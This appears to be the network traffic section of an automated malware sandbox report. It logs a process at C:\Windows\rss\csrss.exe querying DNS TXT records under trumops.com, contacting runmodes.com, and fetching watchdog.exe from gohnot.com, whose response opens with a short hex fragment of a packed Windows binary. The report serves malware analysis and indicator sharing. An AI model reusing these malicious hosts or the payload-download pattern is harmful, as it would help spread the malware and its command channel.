Nov 11, 2021 22:25:26.580955982 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.580967903 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.580975056 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581001043 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581024885 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581048965 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581053019 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581073046 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581074953 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581099033 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581119061 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581124067 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581149101 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581172943 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581172943 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581199884 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581223965 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581248999 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581265926 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581274033 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581285000 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581300020 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581326962 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581326962 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581351995 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581378937 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581384897 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581406116 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581430912 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581443071 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581456900 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581487894 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581500053 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581515074 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581542015 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581556082 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581579924 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581605911 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581629992 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581654072 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581665039 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581676960 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581702948 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581729889 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581732988 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581749916 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581754923 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581779957 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581805944 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581810951 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581830025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581852913 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581856966 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581877947 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581902027 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581922054 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581926107 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581938982 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.581952095 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.581975937 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582000017 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582005024 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582025051 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582050085 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582075119 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582099915 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582106113 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582114935 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582124949 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582150936 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582158089 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582175016 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582201004 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582226038 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582235098 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582253933 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582269907 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582278013 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582304001 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582303047 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582328081 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582353115 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582355976 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582376957 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582401037 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582426071 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582452059 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582458019 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582477093 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582501888 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582509041 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582525969 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582551003 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582551956 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582576990 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582602024 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582609892 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582627058 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582650900 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582674980 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582686901 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582700968 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582701921 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582727909 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582762003 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582765102 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582784891 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582808971 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582832098 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582844019 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582854986 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582860947 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582878113 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582901955 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582912922 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582925081 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582948923 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582971096 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.582982063 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.582993984 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583002090 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583019972 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583041906 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583051920 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583065987 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583087921 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583111048 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583122969 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583133936 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583154917 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583163977 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583178043 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583180904 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583200932 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583224058 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583241940 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583246946 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583271027 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583280087 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583292961 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583317041 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583324909 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583339930 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583364010 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583386898 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583410025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583420038 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583434105 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583456039 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583460093 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.583478928 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.583511114 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.634052038 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.646248102 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.647589922 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:28.565627098 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:33.776690960 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.776738882 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.778316021 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.786761999 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.786789894 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.831228971 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.833483934 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.833520889 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.834830046 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.834852934 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.836179018 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.836251020 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.841396093 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.841610909 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.841788054 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.841805935 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.883568048 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.883651972 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.890815973 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.890855074 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:33.890872955 CET	49779	443	192.168.2.5	172.67.207.136
Nov 11, 2021 22:25:33.890883923 CET	443	49779	172.67.207.136	192.168.2.5
Nov 11, 2021 22:25:56.597763062 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:56.614650965 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:26:26.620104074 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:26:26.636708975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:26:56.641138077 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:26:56.657593012 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:26:58.568905115 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:26:58.585659027 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:26:58.585830927 CET	49775	80	192.168.2.5	104.21.92.165

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2021 22:25:01.139194965 CET	62176	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:01.161155939 CET	53	62176	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:01.192893982 CET	59596	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:01.214778900 CET	53	59596	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:01.243211985 CET	65296	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:01.268157959 CET	53	65296	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:01.394618988 CET	63183	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:01.415865898 CET	53	63183	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:01.654798985 CET	60151	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:01.676248074 CET	53	60151	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:05.664623976 CET	56969	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:05.695766926 CET	53	56969	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:07.893841028 CET	49992	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:07.923180103 CET	53	49992	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:26.118036032 CET	64345	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:26.139712095 CET	53	64345	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:26.329612017 CET	57128	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:26.350740910 CET	53	57128	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:28.585551977 CET	54791	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:28.607606888 CET	53	54791	8.8.8.8	192.168.2.5
Nov 11, 2021 22:25:33.683442116 CET	58530	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:25:33.703828096 CET	53	58530	8.8.8.8	192.168.2.5
Nov 11, 2021 22:26:44.116219997 CET	59261	53	192.168.2.5	8.8.8.8
Nov 11, 2021 22:26:44.139142990 CET	53	59261	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 11, 2021 22:25:01.139194965 CET	192.168.2.5	8.8.8.8	0x4d45	Standard query (0)	trumops.com	16	IN (0x0001)
Nov 11, 2021 22:25:01.192893982 CET	192.168.2.5	8.8.8.8	0x493e	Standard query (0)	logs.trumops.com	16	IN (0x0001)
Nov 11, 2021 22:25:01.243211985 CET	192.168.2.5	8.8.8.8	0xebc6	Standard query (0)	0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com	16	IN (0x0001)
Nov 11, 2021 22:25:01.394618988 CET	192.168.2.5	8.8.8.8	0x822c	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:01.654798985 CET	192.168.2.5	8.8.8.8	0x9bd8	Standard query (0)	server16.trumops.com	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:05.664623976 CET	192.168.2.5	8.8.8.8	0xe4f	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:07.893841028 CET	192.168.2.5	8.8.8.8	0xc895	Standard query (0)	server16.trumops.com	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:26.118036032 CET	192.168.2.5	8.8.8.8	0x2a8d	Standard query (0)	server16.trumops.com	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:26.329612017 CET	192.168.2.5	8.8.8.8	0x6c6f	Standard query (0)	gohnot.com	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:28.585551977 CET	192.168.2.5	8.8.8.8	0x1134	Standard query (0)	e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com	16	IN (0x0001)
Nov 11, 2021 22:25:33.683442116 CET	192.168.2.5	8.8.8.8	0x1cc4	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 11, 2021 22:26:44.116219997 CET	192.168.2.5	8.8.8.8	0x6026	Standard query (0)	server16.trumops.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 11, 2021 22:25:01.161155939 CET	8.8.8.8	192.168.2.5	0x4d45	No error (0)	trumops.com			TXT (Text strings)	IN (0x0001)
Nov 11, 2021 22:25:01.214778900 CET	8.8.8.8	192.168.2.5	0x493e	No error (0)	logs.trumops.com			TXT (Text strings)	IN (0x0001)
Nov 11, 2021 22:25:01.268157959 CET	8.8.8.8	192.168.2.5	0xebc6	Name error (3)	0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com	none	none	16	IN (0x0001)
Nov 11, 2021 22:25:01.415865898 CET	8.8.8.8	192.168.2.5	0x822c	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:01.415865898 CET	8.8.8.8	192.168.2.5	0x822c	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:01.676248074 CET	8.8.8.8	192.168.2.5	0x9bd8	No error (0)	server16.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:01.676248074 CET	8.8.8.8	192.168.2.5	0x9bd8	No error (0)	server16.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:05.695766926 CET	8.8.8.8	192.168.2.5	0xe4f	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:05.695766926 CET	8.8.8.8	192.168.2.5	0xe4f	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:07.923180103 CET	8.8.8.8	192.168.2.5	0xc895	No error (0)	server16.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:07.923180103 CET	8.8.8.8	192.168.2.5	0xc895	No error (0)	server16.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:26.139712095 CET	8.8.8.8	192.168.2.5	0x2a8d	No error (0)	server16.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:26.139712095 CET	8.8.8.8	192.168.2.5	0x2a8d	No error (0)	server16.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:26.350740910 CET	8.8.8.8	192.168.2.5	0x6c6f	No error (0)	gohnot.com		104.21.92.165	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:26.350740910 CET	8.8.8.8	192.168.2.5	0x6c6f	No error (0)	gohnot.com		172.67.196.11	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:28.607606888 CET	8.8.8.8	192.168.2.5	0x1134	No error (0)	e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com			TXT (Text strings)	IN (0x0001)
Nov 11, 2021 22:25:33.703828096 CET	8.8.8.8	192.168.2.5	0x1cc4	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 11, 2021 22:25:33.703828096 CET	8.8.8.8	192.168.2.5	0x1cc4	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 11, 2021 22:26:44.139142990 CET	8.8.8.8	192.168.2.5	0x6026	No error (0)	server16.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 11, 2021 22:26:44.139142990 CET	8.8.8.8	192.168.2.5	0x6026	No error (0)	server16.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

runmodes.com

server16.trumops.com

gohnot.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49766	104.21.34.203	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49767	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49768	104.21.34.203	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49771	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49774	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49779	172.67.207.136	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49775	104.21.92.165	80	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
Nov 11, 2021 22:25:26.375209093 CET	1370	OUT	GET /5da69a167bb34f8505b143410ac1db19/watchdog.exe HTTP/1.1 Host: gohnot.com User-Agent: Go-http-client/1.1 Uuid: 0d29b283-e190-4dec-92fd-2f54e18287ce Version: 183 Accept-Encoding: gzip
Nov 11, 2021 22:25:26.406486988 CET	1371	IN	HTTP/1.1 200 OK Date: Thu, 11 Nov 2021 21:25:26 GMT Content-Type: application/octet-stream Content-Length: 2102272 Connection: keep-alive content-disposition: attachment; filename=watchdog.exe etag: "616ea494-201400" last-modified: Tue, 19 Oct 2021 10:57:24 GMT Cache-Control: max-age=3600 CF-Cache-Status: HIT Age: 1525 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=T6oI5ake2eg8Z9j690MH4dDG3nSXwTZdfePKepExU7TFlu5ZWz2xYds2ElhsOUFadEu6CzbPATDiyLawTyb5bXQA1NHunnh1HbU%2BpaL5Qt9ejcZPgVu4w6YNJrgE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 6aca97d7eda06961-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 b4 4b 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 10 20 00 00 10 00 00 00 70 2d 00 00 8d 4d 00 00 80 2d 00 00 90 4d 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 4d 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 2d 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 10 20 00 00 80 2d 00 00 10 20 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 90 4d 00 00 02 00 00 00 12 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK p-M-M@MMUPX0p-UPX1 - @UPX2M @
Nov 11, 2021 22:25:26.406542063 CET	1373	IN	Data Raw: 33 2e 39 35 00 55 50 58 21 0d 09 08 09 59 97 50 98 0e ef ba a0 1e 64 4d 00 e9 0c 20 00 00 b6 4b 00 26 27 00 ab ff ff ff ff ff 20 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 38 4c 67 64 4e 77 31 30 4f 4d 6e 6a 6e 45 61 66 ff ff 6f ff 6f 75 6f 62 2f Data Ascii: 3.95UPX!YPdM K&' Go build ID: "8LgdNw10OMnjnEafoouob/F_u>d7bw5LzGyMt067q/f_4En-IIykrT4Xu-NukD/RUnzYHIbGfj1LuaRla" d;av 'D$$`k&fdnlL$hmg$
